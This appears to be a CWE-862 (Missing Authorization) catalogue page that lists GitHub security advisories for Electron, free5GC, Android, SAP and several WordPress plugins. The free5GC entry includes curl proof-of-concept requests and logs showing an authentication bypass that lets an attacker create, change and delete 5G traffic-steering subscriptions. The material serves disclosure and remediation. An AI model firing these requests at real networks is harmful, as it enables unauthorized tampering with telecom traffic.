CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
15499 vulnerabilities reference this CWE, most recent first.
GHSA-3P22-GHQ8-V749
Vulnerability from github – Published: 2022-03-22 18:49 – Updated: 2022-03-22 18:49Impact
This vulnerability allows renderers to obtain access to a random bluetooth device via the web bluetooth API if the app has not configured a custom select-bluetooth-device event handler. The device that is accessed is random and the attacker would have no way of selecting a specific device.
All current stable versions of Electron are affected.
Patches
This has been patched and the following Electron versions contain the fix:
* 17.0.0-alpha.6
* 16.0.6
* 15.3.5
* 14.2.4
* 13.6.6
Workarounds
Adding this code to your app can workaround the issue.
app.on('web-contents-created', (event, webContents) => {
webContents.on('select-bluetooth-device', (event, devices, callback) => {
// Prevent default behavior
event.preventDefault();
// Cancel the request
callback('');
});
});
For more information If you have any questions or comments about this advisory, email us at security@electronjs.org.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.6.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0-beta.1"
},
{
"fixed": "14.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0-beta.1"
},
{
"fixed": "15.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0-beta.1"
},
{
"fixed": "16.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 17.0.0-alpha.5"
},
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-alpha.1"
},
{
"fixed": "17.0.0-alpha.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21718"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-22T18:49:36Z",
"nvd_published_at": "2022-03-22T17:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nThis vulnerability allows renderers to obtain access to a random bluetooth device via the [web bluetooth API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Bluetooth_API) if the app has not configured a custom `select-bluetooth-device` event handler. The device that is accessed is random and the attacker would have no way of selecting a specific device.\n\nAll current stable versions of Electron are affected.\n\n### Patches\nThis has been patched and the following Electron versions contain the fix:\n* `17.0.0-alpha.6`\n* `16.0.6`\n* `15.3.5`\n* `14.2.4`\n* `13.6.6`\n\n### Workarounds\nAdding this code to your app can workaround the issue.\n\n```js\napp.on(\u0027web-contents-created\u0027, (event, webContents) =\u003e {\n webContents.on(\u0027select-bluetooth-device\u0027, (event, devices, callback) =\u003e {\n // Prevent default behavior\n event.preventDefault();\n // Cancel the request\n callback(\u0027\u0027);\n });\n});\n```\n\nFor more information\nIf you have any questions or comments about this advisory, email us at security@electronjs.org.",
"id": "GHSA-3p22-ghq8-v749",
"modified": "2022-03-22T18:49:36Z",
"published": "2022-03-22T18:49:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-3p22-ghq8-v749"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21718"
},
{
"type": "WEB",
"url": "https://github.com/electron/electron/pull/32178"
},
{
"type": "WEB",
"url": "https://github.com/electron/electron/pull/32240"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Renderers can obtain access to random bluetooth device without permission in Electron"
}
GHSA-3P28-73Q7-45XP
Vulnerability from github – Published: 2026-05-08 22:58 – Updated: 2026-06-08 23:48Summary
free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/nef:v4.2.0
- Runtime NEF commit: 5ce35eab
- Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:48
- CRUD routes exposed at /:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/api_ti.go:13
- POST allocates AF/subscription state and writes traffic-influence data: NFs/nef/internal/sbi/processor/ti.go:50
- PATCH looks up and updates the subscription, then calls UDR/PCF: NFs/nef/internal/sbi/processor/ti.go:279
- DELETE looks up and removes the subscription: NFs/nef/internal/sbi/processor/ti.go:355
- NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153
- Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000.
- CREATE subscription with NO
Authorizationheader at all ->201 Created:
curl -i \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
- CREATE second subscription with FORGED bearer token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
- READ with forged token ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
- PATCH with forged token ->
500 Query to UDR failed(still reaches business logic, not 401/403, so auth bypass confirmed):
curl -i -X PATCH \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
- DELETE with forged token ->
204 No Content:
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:
- Create attacker-controlled traffic-influence subscriptions (including AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.
- Read existing AF subscriptions, leaking traffic-steering policy data.
- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.
- Delete subscriptions, denying service to legitimately provisioned traffic influence.
The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/nef"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44326"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:58:59Z",
"nvd_published_at": "2026-05-27T17:16:38Z",
"severity": "CRITICAL"
},
"details": "### Summary\nfree5GC\u0027s NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config\u0027s `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\nThis is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48`\n- CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13`\n- POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50`\n- PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279`\n- DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000`.\n\n1. CREATE subscription with NO `Authorization` header at all -\u003e `201 Created`:\n```\ncurl -i \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"afServiceId\":\"svc-noauth\",\"afAppId\":\"app-noauth\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.40 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-noauth\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions\n```\n\n2. CREATE second subscription with FORGED bearer token -\u003e `201 Created`:\n```\ncurl -i \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"afServiceId\":\"svc-high\",\"afAppId\":\"app-high\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.2\",\"portNumber\":0}}]}\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions\n```\n\n3. READ with forged token -\u003e `200 OK`:\n```\ncurl -i -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\n4. PATCH with forged token -\u003e `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed):\n```\ncurl -i -X PATCH \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc-updated\"}]}\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\n5. DELETE with forged token -\u003e `204 No Content`:\n```\ncurl -i -X DELETE \\\n -H \u0027Authorization: Bearer not-a-real-token\u0027 \\\n http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):\n```\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]\n[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions\n[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]\n[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.\n- Read existing AF subscriptions, leaking traffic-steering policy data.\n- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.\n- Delete subscriptions, denying service to legitimately provisioned traffic influence.\n\nThe traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/859\nUpstream fix: https://github.com/free5gc/nef/pull/23",
"id": "GHSA-3p28-73q7-45xp",
"modified": "2026-06-08T23:48:18Z",
"published": "2026-05-08T22:58:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44326"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/issues/859"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/nef/pull/23"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "free5GC\u0027s NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions"
}
GHSA-3P4G-F38Q-3G8M
Vulnerability from github – Published: 2023-10-30 18:30 – Updated: 2023-11-06 18:30In Core, there is a possible way to forward calls without user knowledge due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-21313"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-30T17:15:48Z",
"severity": "HIGH"
},
"details": "In Core, there is a possible way to forward calls without user knowledge due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-3p4g-f38q-3g8m",
"modified": "2023-11-06T18:30:18Z",
"published": "2023-10-30T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21313"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/android-14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3P5P-C5MC-JQG3
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Lauri Karisola / WP Trio Stock Sync for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Stock Sync for WooCommerce: from n/a through 2.3.2.
{
"affected": [],
"aliases": [
"CVE-2022-46807"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T15:15:09Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Lauri Karisola / WP Trio Stock Sync for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Stock Sync for WooCommerce: from n/a through 2.3.2.",
"id": "GHSA-3p5p-c5mc-jqg3",
"modified": "2026-04-28T21:35:22Z",
"published": "2024-12-13T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46807"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/stock-sync-for-woocommerce/vulnerability/wordpress-stock-sync-for-woocommerce-plugin-2-3-2-broken-access-control-csrf?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P5V-C45V-MQQC
Vulnerability from github – Published: 2026-04-23 12:31 – Updated: 2026-04-23 12:31Missing Authorization vulnerability in Navneil Naicker ACF Galerie 4 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Galerie 4: from n/a through 1.4.2.
{
"affected": [],
"aliases": [
"CVE-2025-62104"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T12:17:01Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Navneil Naicker ACF Galerie 4 allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ACF Galerie 4: from n/a through 1.4.2.",
"id": "GHSA-3p5v-c45v-mqqc",
"modified": "2026-04-23T12:31:34Z",
"published": "2026-04-23T12:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62104"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/acf-galerie-4/vulnerability/wordpress-acf-galerie-4-plugin-1-4-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P7M-5559-6P23
Vulnerability from github – Published: 2025-03-11 03:30 – Updated: 2025-03-11 03:30SAP Business Warehouse (Process Chains) allows an attacker to manipulate the process execution due to missing authorization check. An attacker with display authorization for the process chain object could set one or all processes to be skipped. This means corresponding activities, such as data loading, activation, or deletion, will not be executed as initially modeled. This could lead to unexpected results in business reporting leading to a significant impact on integrity. However, there is no impact on confidentiality or availability.
{
"affected": [],
"aliases": [
"CVE-2025-25244"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-11T01:15:34Z",
"severity": "MODERATE"
},
"details": "SAP Business Warehouse (Process Chains) allows an attacker to manipulate the process execution due to missing authorization check. An attacker with display authorization for the process chain object could set one or all processes to be skipped. This means corresponding activities, such as data loading, activation, or deletion, will not be executed as initially modeled. This could lead to unexpected results in business reporting leading to a significant impact on integrity. However, there is no impact on confidentiality or availability.",
"id": "GHSA-3p7m-5559-6p23",
"modified": "2025-03-11T03:30:50Z",
"published": "2025-03-11T03:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25244"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3552144"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P89-8HM7-44H4
Vulnerability from github – Published: 2024-03-21 03:36 – Updated: 2026-04-08 18:32The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the tutor_delete_announcement() function in all versions up to, and including, 2.6.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary posts.
{
"affected": [],
"aliases": [
"CVE-2024-1502"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T02:51:43Z",
"severity": "MODERATE"
},
"details": "The Tutor LMS \u2013 eLearning and online course solution plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the tutor_delete_announcement() function in all versions up to, and including, 2.6.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary posts.",
"id": "GHSA-3p89-8hm7-44h4",
"modified": "2026-04-08T18:32:48Z",
"published": "2024-03-21T03:36:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1502"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3049105%40tutor\u0026new=3049105%40tutor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/834c4ca9-7173-4c84-8287-9916ec72935d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3P95-Q82M-F2FV
Vulnerability from github – Published: 2025-10-31 21:31 – Updated: 2025-10-31 21:31ELOG allows an authenticated user to modify or overwrite the configuration file, resulting in denial of service. If the execute facility is specifically enabled with the "-x" command line flag, attackers could execute OS commands on the host machine. By default, ELOG is not configured to allow shell commands or self-registration.
{
"affected": [],
"aliases": [
"CVE-2025-64348"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-31T19:15:51Z",
"severity": "CRITICAL"
},
"details": "ELOG allows an authenticated user to modify or overwrite the configuration file, resulting in denial of service. If the execute facility is specifically enabled with the \"-x\" command line flag, attackers could execute OS commands on the host machine. By default, ELOG is not configured to allow shell commands or self-registration.",
"id": "GHSA-3p95-q82m-f2fv",
"modified": "2025-10-31T21:31:03Z",
"published": "2025-10-31T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64348"
},
{
"type": "WEB",
"url": "https://bitbucket.org/ritt/elog/commits/7092ff64f6eb9521f8cc8c52272a020bf3730946"
},
{
"type": "WEB",
"url": "https://bitbucket.org/ritt/elog/commits/f81e5695c40997322fe2713bfdeba459d9de09dc"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-304-01.json"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64348"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:N/MUI:X/MVC:X/MVI:X/MVA:X/MSC:H/MSI:H/MSA:H/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3P98-4WM7-QJ6W
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36Missing Authorization vulnerability in ThimPress WP Events Manager allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Events Manager: from n/a through 2.2.1.
{
"affected": [],
"aliases": [
"CVE-2025-57987"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T19:15:59Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in ThimPress WP Events Manager allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WP Events Manager: from n/a through 2.2.1.",
"id": "GHSA-3p98-4wm7-qj6w",
"modified": "2026-04-01T18:36:12Z",
"published": "2025-09-22T21:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57987"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-events-manager/vulnerability/wordpress-wp-events-manager-plugin-2-2-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P9W-PV5H-CRRP
Vulnerability from github – Published: 2021-12-14 00:01 – Updated: 2022-10-24 19:00The Contact Form Advanced Database WordPress plugin through 1.0.8 does not have any authorisation as well as CSRF checks in its delete_cf7_data and export_cf7_data AJAX actions, available to any authenticated users, which could allow users with a role as low as subscriber to call them. The delete_cf7_data would lead to arbitrary metadata deletion, as well as PHP Object Injection if a suitable gadget chain is present in another plugin, as user data is passed to the maybe_unserialize() function without being first validated.
{
"affected": [],
"aliases": [
"CVE-2021-24790"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-13T11:15:00Z",
"severity": "MODERATE"
},
"details": "The Contact Form Advanced Database WordPress plugin through 1.0.8 does not have any authorisation as well as CSRF checks in its delete_cf7_data and export_cf7_data AJAX actions, available to any authenticated users, which could allow users with a role as low as subscriber to call them. The delete_cf7_data would lead to arbitrary metadata deletion, as well as PHP Object Injection if a suitable gadget chain is present in another plugin, as user data is passed to the maybe_unserialize() function without being first validated.",
"id": "GHSA-3p9w-pv5h-crrp",
"modified": "2022-10-24T19:00:20Z",
"published": "2021-12-14T00:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24790"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/adc5dd9b-0781-4cea-8cc5-2c10ac35b968"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
